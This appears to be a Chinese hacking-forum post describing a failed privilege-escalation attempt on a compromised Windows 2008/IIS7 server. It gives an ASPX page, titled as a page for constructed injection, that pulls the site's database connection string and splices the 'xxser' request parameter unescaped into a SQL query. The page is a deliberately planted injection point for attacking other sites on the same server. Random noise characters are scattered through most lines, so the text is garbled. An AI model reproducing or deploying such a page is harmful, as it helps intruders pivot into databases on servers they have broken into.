昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。. \1 ]2 e) G0 k
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。4 s! g9 N8 g ^: x
代码量不多,自己写个拉倒了。烦死了。2 F( U* l* @2 B* s
3 y" J. e2 j& x, j: V' k* `
1 L( b9 l B" D5 b: e4 t1 @<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">$ D2 H" h+ \: y( h
<html xmlns="http://www.w3.org/1999/xhtml">
% R1 t. x& c1 _. o* y& h<head runat="server">
1 |9 s1 v2 ^/ c" E) G% c0 o' p# ~ <title>暗影aspx构造注射专用页面</title>
c2 M( \; x8 {4 w3 z5 E3 ?# Z</head>9 I v6 }) N8 } L; k, g
<body>
% o1 L! Y0 Q" C8 L) j3 f2 X- l5 w <form id="form1" runat="server">8 t" v( b/ P0 z S! \2 x$ x0 N
<div>
- I" D" a8 @9 u, Z <script language="c#" runat="server">
: V; C, O+ f: M A
) h# T- [5 M9 T9 z void page_init(object sender, EventArgs e)' e; k- j7 z- ]: ?4 W
{
! `: k9 k& C: Q7 ~3 _. O+ i ' B5 @1 e8 ?# X7 @0 |- V+ z6 v
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
9 h. ]! A# Z; Y7 G
0 N8 u3 m) n4 } C/ T conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();6 z# U! O- _$ ]* r7 }" e
conn.Open();' b4 ^' [# S0 I! |. G& j
: W8 b7 M& y, D( K
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
* c M$ s; c$ f, Q$ ^4 T# ?6 C( X
& Z' X* c+ C6 t3 i/ L% \" S ] System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
! A$ e, _- @/ C* u8 i# G6 L0 ` int x = command.ExecuteNonQuery();( |6 |' N2 T6 {# r
Response.Write(i+"\n");( E: p" S8 ?' Y* [4 j8 ?
Response.Write(x);, j3 l1 g; P* c+ [1 g9 G1 D
conn.Close();, ^+ G6 A% s, n0 ~; c$ `
}" ~, {$ g8 s/ C
, Q7 A1 m! Z# C4 w0 K' g </script>- k/ i7 U y9 T
</div>6 i" Q* x5 ~' z+ [4 i) ]) N2 u
</form>- M ]6 M @2 _5 `5 W, [
</body>1 V9 M4 \% z) D Q/ V) m
</html>
! @2 q0 u: h9 f5 @, c4 l1 D |